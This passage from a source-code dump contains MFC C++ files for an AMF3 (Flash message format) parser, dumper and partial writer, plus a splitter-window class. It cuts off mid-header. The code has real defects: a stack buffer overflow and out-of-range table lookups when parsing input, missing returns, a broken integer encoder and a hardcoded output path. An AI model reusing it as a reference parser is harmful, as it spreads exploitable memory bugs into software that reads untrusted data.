	unsigned char* bytearrayValue;

	std::vector<amf_object_handle> childrens;

	////////////////////////////////////////////////////////////////////////

	int index;		//找实体的索引

	int childnums;	//子属性的数目

	int maskbit1;

	int maskbit2;

	int maskbit3;

	int maskbit4;



};



typedef struct TAG_context

{

	void* m_IFileHandle;

	void* m_OFileHandle;

	

	unsigned char* s_ReadBuf;

	int s_ReadBufSize;

	

	type_amf_ref_tab m_szReadMaxRefTab;

	type_amf_ref_tab m_szReadObjRefTab;

	type_amf_ref_tab m_szReadStrRefTab;

	type_amf_ref_tab m_szReadTraitsTab;

	

}TAG_context;

#endif // !defined(AFX_AMF_OBJECT_H__2C6F9FFA_97A5_431E_B658_1660685A74A2__INCLUDED_)









源码/amf_static.cpp



    
    
    源码/amf_static.cpp
    
    


源码/amf_static.cpp// amf_static.cpp: implementation of the amf_static class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "7QW.h"
#include "amf_static.h"
#include "GZipHelper.h"


#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
UINT amf_static::m_uIndex=0;

amf_static::amf_static()
{

}

amf_static::~amf_static()
{

}

int amf_static::read_data(void *file, size_t size, unsigned char *buf)
{
    TAG_IODATA* data = (TAG_IODATA*)file;
    
    if((data->buflen-data->pos)<size) 
        return 0;

    ::memcpy(buf,data->buf+data->pos,size);
    data->pos += size;
    return size;
}



unsigned char amf_static::read_byte(TAG_context *ctx)
{
    
    unsigned char data;
    amf_static::read_data(ctx->m_IFileHandle,1,&data);
    return data;

}

int amf_static::read_int(TAG_context *ctx)
{
    unsigned char byte = read_byte(ctx);
    int readnum = 0;
    int value = 0;
    while(((byte & 0x80)!=0) && (readnum<3))
    {
        value = (value<<7) | (byte & 0x7F);
        ++readnum;
        byte = read_byte(ctx);
    }
    
    //
    if(readnum<3)
        value = (value<<7) | (byte & 0x7F);
    else
        value = (value<<8) | (byte & 0xFF);
    
    //  
    if((value&0x10000000)!=0)
        value = (value&0x10000000) | 0x80000000;
    
    CString ss;
    ss.Format("%d",value);
    //AfxMessageBox(ss);
    return value;
}

CString amf_static::UTF8_2_OEM(const char *utf8)
{
    if(utf8==0) return "";
    
    int wlen = ::MultiByteToWideChar(CP_UTF8,0,utf8,-1,0,0);
    wchar_t* wbuf = new wchar_t[wlen+1];
    ::MultiByteToWideChar(CP_UTF8,0,utf8,-1,wbuf,wlen);
    wbuf[wlen] = L'0';
    
    int clen = ::WideCharToMultiByte(CP_ACP,0,wbuf,-1,0,0,0,0);
    char* cbuf = new char[clen+1];
    ::WideCharToMultiByte(CP_ACP,0,wbuf,-1,cbuf,clen,0,0);
    cbuf[clen] = '\0';
    
    CString  str = cbuf;
    
    delete wbuf;
    delete cbuf;
    
    return str;
}

void amf_static::read_string(TAG_context *ctx, CString &str)
{
    str.Empty();
    CString temp;
    int head = read_int(ctx);
    if(head==EMPTY_STRING) return;
    
    if(is_refrence(head))
    {

        int idx = head>>1;
        amf_object_handle obj = get_ref_tab(ctx->m_szReadStrRefTab,idx);
        if(!obj.isnull() && obj->type==DT_STRING)
        {
            str = obj->strValue;
        
        }
    }
    else
    {
        int len = head>>1;
    
        if(len<=0)
        {
            return;
        }
    

        char* buf =(char *)realloc_read_buf(ctx,len+1);
        read_data(ctx->m_IFileHandle,len,(unsigned char*)buf);
        buf[len] = '\0';
        temp = UTF8_2_OEM(buf);
        str=temp;
        amf_object_handle obj = amf_object::Alloc();
        obj->type = DT_STRING;
        obj->strValue = str;
        add_ref_tab(ctx->m_szReadStrRefTab,obj);

    }
}

bool amf_static::is_refrence(int header)
{
    return 0 == (header & REFERENCE_BIT);
}

unsigned char* amf_static::realloc_read_buf(TAG_context *ctx, size_t size)
{
    
    if(ctx->s_ReadBufSize<size)
    {
        free(ctx->s_ReadBuf);
        ctx->s_ReadBuf = (unsigned char*)malloc(size);
        ctx->s_ReadBufSize = size;
    }
    
    return ctx->s_ReadBuf;
}

DataType amf_static::read_type(TAG_context *ctx)
{
    return (DataType)read_byte(ctx);
}

unsigned __int64 amf_static::swap_u64(unsigned __int64 data)
{
    BYTE buf[8];
    ::memcpy(buf,&data,8);
    
    unsigned __int64 retvalue = 0;
    unsigned __int64 tmp;
    
    tmp = buf[0];
    retvalue = tmp<<56;
    
    tmp = buf[1];
    retvalue |= tmp<<48;
    
    tmp = buf[2];
    retvalue |= tmp<<40;
    
    tmp = buf[3];
    retvalue |= tmp<<32;
    
    tmp = buf[4];
    retvalue |= tmp<<24;
    
    tmp = buf[5];
    retvalue |= tmp<<16;
    
    tmp = buf[6];
    retvalue |= tmp<<8;
    
    tmp = buf[7];
    retvalue |= tmp;
    
    return retvalue;
}

double amf_static::read_double(TAG_context *ctx)
{
    double data = 0.0f;
    unsigned __int64 tmp = read_u64(ctx);
    ::memcpy(&data,&tmp,8);
    return data;
}

unsigned __int64 amf_static::read_u64(TAG_context *ctx)
{
    unsigned __int64 data = 0;
    read_data(ctx->m_IFileHandle,8,(unsigned char*)&data);
    return swap_u64(data);
}

amf_object_handle amf_static::read_date(TAG_context *ctx)
{
    
    amf_object_handle obj,obj2;
    int iref;
    int head = read_int(ctx);

    if(is_refrence(head))
    {
        
        int idx = head>>1;
        amf_object_handle refobj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);
        if(!refobj.isnull() && refobj->type==DT_DATE)
        {
            return refobj;
        }
    }
    else
    {
        double time = read_double(ctx)/1000;
        
        obj = amf_object::Alloc();
        obj2 = amf_object::Alloc();
        obj->type = DT_DATE;
        obj2->type = DT_DATE;
        ////////////////////////////////////////////////////////////
        iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);
        obj->m_uGlobal=iref;
        obj->set_time_seed(time);
        ///////////////////////////////////////////////////////////

        add_ref_tab(ctx->m_szReadObjRefTab,obj);
    }
    
    return obj;
}

amf_object_handle amf_static::get_ref_tab(type_amf_ref_tab &tab, int idx,BOOL bflag)
{
    int i;
    if(!bflag)
    {
        if(idx>=0 && idx<tab.size())
            return tab[idx];
    }

    for(i=0;i<tab.size();i++)
    {   
        if(tab[i]->m_uGlobal==idx)
            break;
    }
    return tab[i];
    
}

int amf_static::add_ref_tab(type_amf_ref_tab &tab, amf_object_handle obj)
{
    tab.push_back(obj);
    return tab.size()-1;
}

amf_object_handle amf_static::read_array(TAG_context *ctx)
{
    amf_object_handle obj,obj2;
    CString ff;
    int iref;
    int head = read_int(ctx);

    if(is_refrence(head))
    {
        int idx = head>>1;
        amf_object_handle refobj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);
        if(!refobj.isnull() && refobj->type==DT_ARRAY)
        {
            return refobj;
        }
    }
    else
    {
        obj = amf_object::Alloc();
        obj2=amf_object::Alloc();
        obj->type = DT_ARRAY;
        obj2->type=DT_ARRAY;

        int subnum = head>>1;
        CString  name;
        //先读个字符串,大部是空字符串
        read_string(ctx,name);
        
        //顺序读取数组元素  
        iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);
        for(int i=0;i<subnum;i++)
        {
            amf_object_handle sub = read_elem(ctx);
        
            if(!sub.isnull())
                obj->add_child(sub);
            else
                obj->add_child(amf_object::Alloc());

        

        }
        obj->m_uGlobal=iref;
        add_ref_tab(ctx->m_szReadObjRefTab,obj);
    }

    return obj;
}

amf_object_handle amf_static::read_elem(TAG_context *ctx)
{
    amf_object_handle obj = amf_object::Alloc();
    CString log;
    obj->type = read_type(ctx);
    CString f;
    f.Format("type=%d",obj->type);
//  AfxMessageBox(f);
    switch(obj->type)
    {
    case DT_NULL:
        break;
    case DT_FALSE:
        obj->boolValue = false;
        break;
    case DT_TRUE:
        obj->boolValue = true;
        break;
    case DT_INTEGER:
    
        obj->intValue = read_int(ctx);
        break;
    case DT_DOUBLE:
        obj->doubleValue = read_double(ctx);
        break;
    case DT_STRING:
        read_string(ctx,obj->strValue);
        
        break;
    case DT_DATE:
        obj = read_date(ctx);
        break;
    case DT_ARRAY:
        obj = read_array(ctx);
        break;
    case DT_OBJECT:
        obj = read_obj(ctx);
        break;
    case DT_BYTEARRAY:
        obj = read_bytearray(ctx);
        break;
    case DT_FIXOBJECT:
        //BYTE bfix;
        //read_byte(ctx);
        break;
    default:
        return 0;
        break;
    }
    
    return obj;
}

amf_object_handle amf_static::read_obj(TAG_context *ctx)
{
    

    amf_object_handle obj,traits,obj2;
    int iref=0;
    int iref2=0;
    //////////////////////////////////////
    obj = amf_object::Alloc();//生成已解析实例
    obj->type = DT_OBJECT;
    traits=amf_object::Alloc();//生成特性实例
    traits->type = DT_OBJECT;
    obj2=amf_object::Alloc();
    obj2->type=DT_OBJECT;
    ////////////////////////////////////
    int objref = read_int(ctx);
    bool dynamic = false;
    CString xlog;
    xlog.Format("int=%d",objref);
    //  AfxMessageBox(xlog);
    //if(objref==0)
    //  return NULL;
    if(is_refrence(objref))//(0,x,x,x)
    {
        int idx = objref>>1;
        amf_object_handle refobj;
        
        if(idx>ctx->m_szReadObjRefTab.size())
        {   
            refobj=get_ref_tab(ctx->m_szReadMaxRefTab,idx,FALSE);
            xlog.Format("idx=%d,%d,%d",idx,ctx->m_szReadObjRefTab.size(),ctx->m_szReadMaxRefTab.size());
            //  AfxMessageBox(xlog);
            return refobj;
        }
        refobj =get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);
        refobj->maskbit1=0;
        if(!refobj.isnull() && refobj->type==DT_OBJECT)
        {
            
            return refobj;
        }
    }
    else
    {
        int subnum = 0;
        int maskbit2 = ((objref>>1)&0x1);
        int maskbit3 = ((objref>>2)&0x1);
        int maskbit4 = ((objref>>3)&0x1);
        
        amf_object_handle refobj;
        CString subname;
        if(maskbit2==0)//(1,0,x,x)
        {
            int idx = objref>>2;
            
            ///////////////////////////////////////////////////////
            iref2=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);
            ///////////////////////////////////////////////////////
            
            //得到特性实体
            refobj =get_Traits_tab(ctx->m_szReadObjRefTab,idx);         
            
            if(!refobj.isnull() && refobj->type==DT_OBJECT)
            {
                for(int i=0;i<refobj->childrens.size();i++)
                {   
                    amf_object_handle sub = read_elem(ctx);
                    if(!sub.isnull())
                    {
                        sub->name = refobj->childrens[i]->name;
                        obj->add_child(sub);
                    }
                }
                
                obj->m_uGlobal=iref2;
                obj->maskbit2=maskbit2;
                obj->maskbit3=maskbit3;
                obj->maskbit4=maskbit4;
                
                add_ref_tab(ctx->m_szReadObjRefTab,obj);
                return obj;
                
            }
            
        }
        else//(1,1,x,x)
        {
            if(maskbit3==0)//(情形:1,1,0,x)
            {
                dynamic = maskbit4!=0;
                if(dynamic==0)//(1,1,0,0)
                {   
                    subnum = objref>>4;
                    read_string(ctx,obj->classname);
                    
                    CString subname;
                    std::vector<CString> subs;
                    for(int i=0;i<subnum;i++)
                    {
                        read_string(ctx,subname);
                        
                        subs.push_back(subname);
                    }
                    ////////////////////////////////////////////////////
                    iref2=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);
                    ////////////////////////////////////////////////////    
                    traits->maskbit2=maskbit2;
                    traits->maskbit3=maskbit3;
                    traits->maskbit4=maskbit4;
                    traits->childnums=subnum;
                    
                    iref=add_ref_tab(ctx->m_szReadTraitsTab,traits);
                    /////////////////////////////////////////////////////
                    CString xx;
                    
                    for(i=0;i<subnum;i++)
                    {
                        amf_object_handle sub = read_elem(ctx);
                        if(!sub.isnull())
                        {
                            sub->name = subs[i];
                            obj->add_child(sub);
                        }
                    }       
                    
                    
                }
                
                if(dynamic)//(1,1,0,1)
                {
                    for(int i=0;i<DYNAMIC_OBJ_MAX_PROPERTY;i++)
                    {
                        read_string(ctx,subname);
                        if(subname.IsEmpty()) break;
                        
                        amf_object_handle sub = read_elem(ctx);
                        if(!sub.isnull())
                        {
                            sub->name = subname;
                            obj->add_child(sub);
                        }
                    }
                }
                obj->m_uGlobal=iref2;
                obj->index=iref;
                obj->maskbit2=maskbit2;
                obj->maskbit3=maskbit3;
                obj->maskbit4=maskbit4;
                add_ref_tab(ctx->m_szReadObjRefTab,obj);
                
                return obj;
            }
            
            else//情形:(1,1,1,0)
            {
                //这部分没有实现
            }
            
        }
        
}







}

amf_object_handle amf_static::read_bytearray(TAG_context *ctx)
{
    amf_object_handle obj = amf_object::Alloc();
    amf_object_handle obj2 = amf_object::Alloc();
    obj->type = DT_BYTEARRAY;
    ///////////////////////////////////////////////////
    obj2->type = DT_BYTEARRAY;
    int iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);
    ///////////////////////////////////////////////////
    int objref = read_int(ctx);
    if(!is_refrence(objref))
    {
        int len = objref>>1;
        
        unsigned char* buf = (unsigned char*)malloc(len);
        read_data(ctx->m_IFileHandle,len,buf);
        
        obj->bytearrayValue = buf;
        obj->bytearrayLen = len;
        obj->m_uGlobal=iref;
        add_ref_tab(ctx->m_szReadObjRefTab,obj);
        return obj;
    }
    
    //  
    int idx = objref>>1;
    obj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);
    if(!obj.isnull() && obj->type==DT_ARRAY)
    {
        return obj;
    }
    
    return NULL;
}

void amf_static::_DumpAmf(amf_object_handle handle, HTREEITEM ht, CTreeCtrl &tc,CString &stresult)
{
    amf_object *amf=handle._getamfobject();
    CString stritem;
    HTREEITEM htemp;
    int i,j;
    
    switch(amf->type)
    {
        case DT_NULL:
            stritem.Format("%s  NULL",amf->name);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+"  ";
            break;
        case DT_FALSE:
            stritem.Format("%s  FALSE",amf->name);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+"  ";
            break;
        case DT_TRUE:
            stritem.Format("%s  TRUE",amf->name);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+"  ";
            break;
        case DT_INTEGER:
            stritem.Format("%s:  %d",amf->name,amf->intValue);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+"  ";
            break;
        case DT_DOUBLE:
            stritem.Format("%s:  %f",amf->name,amf->doubleValue);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+" ";
            break;
        case DT_STRING:
            stritem.Format("%s:  %s",amf->name,amf->strValue);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+" ";
            break;
        case DT_DATE:
            stritem.Format("%s[DATE]  %d-%d-%d",amf->name,amf->dateValue.wYear,amf->dateValue.wMonth,amf->dateValue.wDay);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+" ";
            break;
        case DT_ARRAY:
            stritem.Format("%s[Array]元素个数:%d",amf->name,amf->childrens.size());
            htemp=tc.InsertItem(stritem,ht);
            stresult+=stritem+" ";
            for( i=0;i<amf->childrens.size();i++)
            {   
                _DumpAmf(amf->childrens[i],htemp,tc,stresult);
            }
    
            
        break;  
        case DT_OBJECT:
            stritem.Format("%s[Object]classname:%s(%d,%d,%d,%d)",amf->name,amf->classname,amf->maskbit1,\
                amf->maskbit2,amf->maskbit3,amf->maskbit4);
            htemp=tc.InsertItem(stritem,ht);
            stresult+=stritem+"    ";
            for( i=0;i<amf->childrens.size();i++)
            {
                _DumpAmf(amf->childrens[i],htemp,tc,stresult);
            }
            break;
        case DT_BYTEARRAY:
            stritem.Format("bytearray %d",amf->bytearrayLen);
            tc.InsertItem(stritem,ht);
            stresult+=stritem+" ";
            break;
    default:

        break;
    }

}



DWORD amf_static::_DeGzip(BYTE *pbuf1,CByteArray* pByteArray,UINT ulen1)
{   
    FILE *out=fopen("f:\\result.txt","wb");
    CString s;
    CGZIP2A a(pbuf1,ulen1);
    size_t count=strlen(a.psz);

    pByteArray->SetSize(a.Length);
    memcpy(pByteArray->GetData(),a.psz,a.Length);

    size_t count1=fwrite(a.psz,1,a.Length,out);
    fclose(out);
    
    return a.Length;
}

void amf_static::read_head(TAG_context *ctx)
{
    CString log;

    BYTE sVer[2];//amf协议版本号
    amf_static::read_data(ctx->m_IFileHandle,2,sVer);

    BYTE shead[2];//几个头部
    amf_static::read_data(ctx->m_IFileHandle,2,shead);

    BYTE sbody[2];//几个body
    amf_static::read_data(ctx->m_IFileHandle,2,sbody);
    
    BYTE starget[2];//目标字符串长度
    amf_static::read_data(ctx->m_IFileHandle,2,starget);
    
    BYTE sztarget[48]={0x0};
    amf_static::read_data(ctx->m_IFileHandle,(int)starget[1],sztarget);

    
    BYTE sresult[2];//目标字符串长度
    BYTE szresult[248];
    amf_static::read_data(ctx->m_IFileHandle,2,sresult);

    if(sresult[1]==0)
    {
        
    }else
    {
        amf_static::read_data(ctx->m_IFileHandle,(int )sresult[1],szresult);
    
    }

    BYTE blen[4];//主体长度
    amf_static::read_data(ctx->m_IFileHandle,4,blen);
    //跳过0x11字节
    BYTE bfix;
    amf_static::read_data(ctx->m_IFileHandle,1,&bfix);

    if(bfix!=0x11)
    {
        TAG_IODATA* data = (TAG_IODATA*)ctx->m_IFileHandle;
        data->pos -=1;
        

    }

    log.Format("%x,%x,%x,%x,%s",blen[0],blen[1],blen[2],blen[3],sztarget);
//  AfxMessageBox(log);

}

amf_object_handle amf_static::get_Traits_tab(type_amf_ref_tab &tab, int idx)
{
//  if(idx>=0 && idx<tab.size())
//      return tab[idx];
    CString xx;

    for(int i=0;i<tab.size();i++)
    {   
    //  xx.Format("%d/%d,idx=%d,value=%d,type=%d",i,tab.size(),idx,tab[i]->index,tab[i]->type);
    //  ::AfxMessageBox(xx);
        if(tab[i]->index==idx)
            break;
    }
    return tab[i];

}

__int64 amf_static::swap_i64(__int64 data)
{
    BYTE buf[8];
    ::memcpy(buf,&data,8);
    
    __int64 retvalue = 0;
    __int64 tmp;
    
    tmp = buf[0];
    retvalue = tmp<<56;
    
    tmp = buf[1];
    retvalue |= tmp<<48;
    
    tmp = buf[2];
    retvalue |= tmp<<40;
    
    tmp = buf[3];
    retvalue |= tmp<<32;
    
    tmp = buf[4];
    retvalue |= tmp<<24;
    
    tmp = buf[5];
    retvalue |= tmp<<16;
    
    tmp = buf[6];
    retvalue |= tmp<<8;
    
    tmp = buf[7];
    retvalue |= tmp;
    
    return retvalue;
}

CString amf_static::OEM_2_UTF8(const char *oem)
{
    if(oem==0) return "";
    
    int wlen = ::MultiByteToWideChar(CP_OEMCP,0,oem,-1,0,0);
    wchar_t* wbuf = new wchar_t[wlen+1];
    ::MultiByteToWideChar(CP_OEMCP,0,oem,-1,wbuf,wlen);
    wbuf[wlen] = L'0';
    
    int clen = ::WideCharToMultiByte(CP_UTF8,0,wbuf,-1,0,0,0,0);
    char* cbuf = new char[clen+1];
    ::WideCharToMultiByte(CP_UTF8,0,wbuf,-1,cbuf,clen,0,0);
    cbuf[clen] = '\0';
    
    CString str = cbuf;
    
    delete wbuf;
    delete cbuf;
    
    return str;
}

void amf_static::write_data(void *file, const unsigned char *buf, size_t size)
{
    TAG_IoData* data = (TAG_IoData*)file;
    if((data->buflen-data->pos)>=size) 
    {
        ::memcpy(data->buf+data->pos,buf,size);
        data->pos += size;
    }
}

void amf_static::write_byte(TAG_context *ctx, BYTE data)
{
     amf_static::write_data(ctx,&data,1);
}

void amf_static::write_type(TAG_context *ctx, DataType type)
{
    write_byte(ctx,type); 
}

void amf_static::write_string(TAG_context *ctx, CString str)
{
    str = OEM_2_UTF8(str.GetBuffer(0));
    
    int len = str.GetLength();
    if(len==0)
    {
        write_byte(ctx,0x1);
    }
    else
    {
        int objref = len<<1 | 1;
        write_u29(ctx,objref);
        write_data(ctx,(unsigned char*)str.GetBuffer(0),len);
    }
}

bool amf_static::write_u29(TAG_context *ctx, unsigned int data)
{
    if(data<=0x7F)
    {
        write_byte(ctx,(BYTE)data);
        return true;
    }
    
    unsigned int tmp;
    BYTE buf[4];
    if(data<=0x3FFF)
    {
        tmp = data>>7 | 0x80;
        buf[0] = tmp;
        
        buf[1] = data & 0x7F;
        
    //  write_data(ctx,buf,2);
        
        return true;
    }
    CString fuck;
    if(data<=0x001FFFFF)
    {
    
        tmp = data>>14 | 0x80;
        buf[0] = tmp;
        
        tmp = ((data>>7) & 0x7F) | 0x80;
        buf[1] = tmp;
        
        buf[2] = data & 0x7F;
        

        fuck.Format("%d,%d,%d",buf[0],buf[1],buf[2]);
    //  AfxMessageBox(fuck);
        write_data(ctx,buf,3);
        return true;
    }
    
    if(data<=0x0FFFFFFF)
    {
        tmp = data>>22 | 0x80;
        buf[0] = tmp;
        
        tmp = ((data>>15) & 0x7F) | 0x80;
        buf[1] = tmp;
        
        tmp = ((data>>8) & 0x7F) | 0x80;
        buf[2] = tmp;
        
        buf[3] = data & 0xFF;
        
    //  write_data(ctx,buf,4);
        
        return true;
    }
    
    return false;
}

void amf_static::write_u64(TAG_context *ctx, unsigned __int64 data)
{
    unsigned __int64 vdata = swap_u64(data);
    write_data(ctx,(unsigned char*)&vdata,8);
}

void amf_static::write_i64(TAG_context *ctx, __int64 data)
{
    __int64 vdata = swap_i64(data);
    write_data(ctx,(unsigned char*)&vdata,8);
}







源码/amf_static.h

// amf_static.h: interface for the amf_static class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_)

#define AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#include "amf_object.h"

typedef struct TAG_IoData

{

	unsigned char* buf;

	int buflen;

	int pos;

}TAG_IODATA;



class amf_static  

{

public:

	static void  write_i64(TAG_context* ctx,__int64 data);

	static void  write_u64(TAG_context* ctx,unsigned __int64 data);

	static bool write_u29(TAG_context* ctx,unsigned int data);

	static void  write_string(TAG_context* ctx,CString str);

	static void write_type(TAG_context* ctx,DataType type);

	static void  write_byte(TAG_context* ctx,BYTE data);

	static void write_data(void* file,const unsigned char* buf,size_t size);

	static CString OEM_2_UTF8(const char* oem);

	static __int64 swap_i64(__int64 data);

	static amf_object_handle  get_Traits_tab(type_amf_ref_tab &tab,int idx);

	static UINT m_uIndex;

	static void read_head(TAG_context *ctx);

	static  DWORD _DeGzip(BYTE *pbuf1,CByteArray* pByteArray,UINT ulen1);

	static void _DumpAmf(amf_object_handle handle,HTREEITEM ht,CTreeCtrl &tc,CString &stresult);

	static amf_object_handle  read_bytearray(TAG_context* ctx);

	static amf_object_handle  read_obj(TAG_context* ctx);

	static amf_object_handle  read_elem(TAG_context* ctx);

	static amf_object_handle  read_array(TAG_context* ctx);

	static int add_ref_tab(type_amf_ref_tab &tab,amf_object_handle obj);

	static amf_object_handle  get_ref_tab(type_amf_ref_tab &tab,int idx,BOOL bflag=FALSE);

	static amf_object_handle read_date(TAG_context* ctx);

	static unsigned __int64 read_u64(TAG_context* ctx);

	static double read_double(TAG_context* ctx);

	static unsigned __int64 swap_u64(unsigned _int64 data);

	static DataType read_type(TAG_context* ctx);

	static unsigned char*  realloc_read_buf(TAG_context* ctx,size_t size);

	static bool is_refrence(int header);

	static void read_string(TAG_context* ctx,CString &str);

	static CString UTF8_2_OEM (const char* utf8);

	static int  read_int(TAG_context* ctx);

	static unsigned char read_byte(TAG_context* ctx);

	static int  read_data(void* file,size_t size,unsigned char* buf);

	amf_static();

	virtual ~amf_static();



};



#endif // !defined(AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_)









源码/CxSplitterWnd.cpp



    
    
    源码/CxSplitterWnd.cpp
    
    


源码/CxSplitterWnd.cpp// spsp.cpp : implementation file
//

#include "stdafx.h"
#include "CxSplitterWnd.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////

IMPLEMENT_DYNCREATE(CxSplitterWnd, CMDIChildWnd)

CxSplitterWnd::CxSplitterWnd()
{

}

CxSplitterWnd::~CxSplitterWnd()
{
}


BEGIN_MESSAGE_MAP(CxSplitterWnd, CSplitterWnd)
    //{{AFX_MSG_MAP(CxSplitterWnd)
        // NOTE - the ClassWizard will add and remove mapping macros here.
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// spsp message handlers


enum HitTestValue 
{ 
      noHit = 0,//表示没有选中任何对象
      vSplitterBox = 1,
      hSplitterBox = 2,
      bothSplitterBox = 3,
      vSplitterBar1 = 101,//代表各个方向的水平分割条
      vSplitterBar15 = 115,
      hSplitterBar1 = 201,//代表垂直方向的各个分割条
      hSplitterBar15 = 215,
      splitterIntersection1 = 301,//代表各个交叉点
      splitterIntersection225 = 525
};
          
CWnd* CxSplitterWnd::GetActivePane(int* pRow, int* pCol)
{
      ASSERT_VALID(this); 
      //获得当前的获得焦点的窗口
      //下面注释粗体的是原有的代码的主要部分。
      // CWnd* pView = NULL;
      //CFrameWnd* pFrameWnd = GetParentFrame();
      //ASSERT_VALID(pFrameWnd);
      //pView = pFrameWnd->GetActiveView();
      //if (pView == NULL)
      // pView = GetFocus();
      CWnd* pView = GetFocus();
      if (pView != NULL && !IsChildPane(pView, pRow, pCol))
              pView = NULL;
      return pView; 
} 
          
void CxSplitterWnd::SetActivePane( int row, int col, CWnd* pWnd) 
{
      CWnd* pPane = pWnd == NULL ? GetPane(row, col) : pWnd; 
      //下面加注释粗体的是原有代码的主要部分。
      //FrameWnd* pFrameWnd = GetParentFrame();
      //ASSERT_VALID(pFrameWnd); 
      //pFrameWnd->SetActiveView((CView*)pPane); 
      pPane->SetFocus();//修改后的语句 
}
          
void CxSplitterWnd::StartTracking(int ht)
{
          ASSERT_VALID(this); 
          if (ht == noHit) 
                  return;
          // GetHitRect will restrict ''''m_rectLimit'''' as appropriate 
  
          GetInsideRect(m_rectLimit);
          if (ht >= splitterIntersection1 && ht <= splitterIntersection225) 
  
          { 
                  // split two directions (two tracking rectangles) 
  
                  int row = (ht - splitterIntersection1) / 15; 
  
                  int col = (ht - splitterIntersection1) % 15; 
  
                  GetHitRect(row + vSplitterBar1, m_rectTracker); 
  
                  int yTrackOffset = m_ptTrackOffset.y; 
                  m_bTracking2 = TRUE; 
                  GetHitRect(col + hSplitterBar1, m_rectTracker2); 
  
                  m_ptTrackOffset.y = yTrackOffset; 
          } 
          else if (ht == bothSplitterBox) 
          { 
          // hit on splitter boxes (for keyboard) 
          GetHitRect(vSplitterBox, m_rectTracker); 
          int yTrackOffset = m_ptTrackOffset.y; 
          m_bTracking2 = TRUE; 
          GetHitRect(hSplitterBox, m_rectTracker2); 
          m_ptTrackOffset.y = yTrackOffset; // center it 
          m_rectTracker.OffsetRect(0, m_rectLimit.Height()/2); m_rectTracker2.OffsetRect(m_rectLimit.Width()/2,  0); 
          } 
          else
          { 
          // only hit one bar 
          GetHitRect(ht, m_rectTracker); 
          } 
  
  //下面加注释的将从程序中删去。 
  //CView* pView = (CView*)GetActivePane(); 
  //if (pView != NULL && pView->IsKindOf(RUNTIME_CLASS(CView))) 
  //{ 
  // ASSERT_VALID(pView); 
  // CFrameWnd* pFrameWnd = GetParentFrame(); 
  //ASSERT_VALID(pFrameWnd); 
  //pView->OnActivateFrame(WA_INACTIVE, pFrameWnd); 
  // } 
  // steal focus and capture
          SetCapture();
          SetFocus();
          // make sure no updates are pending 
          RedrawWindow(NULL, NULL, RDW_ALLCHILDREN | RDW_UPDATENOW); 
  
          // set tracking state and appropriate cursor
          m_bTracking = TRUE;
          OnInvertTracker(m_rectTracker); 
          if (m_bTracking2) 
                  OnInvertTracker(m_rectTracker2); 
          m_htTrack = ht; 
          SetSplitCursor(ht); 
}
          
BOOL CxSplitterWnd::OnCommand(WPARAM wParam, LPARAM lParam) 
{ 
          if (CWnd::OnCommand(wParam, lParam)) 
                  return TRUE; 
          //下面粗体的是原程序的语句 
  //return GetParentFrame()->SendMessage(WM_COMMAND, wParam, lParam); 
  
          return GetParent()->SendMessage(WM_COMMAND, wParam, lParam); 
          
}
BOOL CxSplitterWnd::OnNotify( WPARAM wParam, LPARAM lParam, LRESULT* pResult )
{
      if (CWnd::OnNotify(wParam, lParam, pResult)) 
              return TRUE; 
      //下面粗体的是源程序的语句
      //*pResult = GetParentFrame()->SendMessage(WM_NOTIFY,  wParam, lParam);
      *pResult = GetParent()->SendMessage(WM_NOTIFY, wParam, lParam);
      return TRUE;
} 
          
BOOL CxSplitterWnd::OnWndMsg(UINT message, WPARAM wParam, LPARAM lParam, LRESULT* pResult) 
{ 
      // The code line below is necessary if using CxSplitterWnd     in a regular dll 
      // AFX_MANAGE_STATE(AfxGetStaticModuleState());
      return CWnd::OnWndMsg(message, wParam, lParam, pResult); 
          
} 

void CxSplitterWnd::OnSize(UINT nType, int cx, int cy) 
{
    
    // TODO: Add your message handler code here
    
}







源码/CxSplitterWnd.h

#if !defined(AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_)

#define AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// CxSplitterWnd.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// spsp frame with splitter



#ifndef __AFXEXT_H__

#include <afxext.h>

#endif



class CxSplitterWnd : public CSplitterWnd

{

	DECLARE_DYNCREATE(CxSplitterWnd)

protected:



// Attributes

protected:

	CSplitterWnd    m_wndSplitter;

public:

	CxSplitterWnd();           // protected constructor used by dynamic creation



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CxSplitterWnd)



	virtual void StartTracking(int ht); 

	virtual void OnSize(UINT nType, int cx, int cy) ;

	virtual CWnd* GetActivePane(int* pRow = NULL, int* pCol  = NULL); 

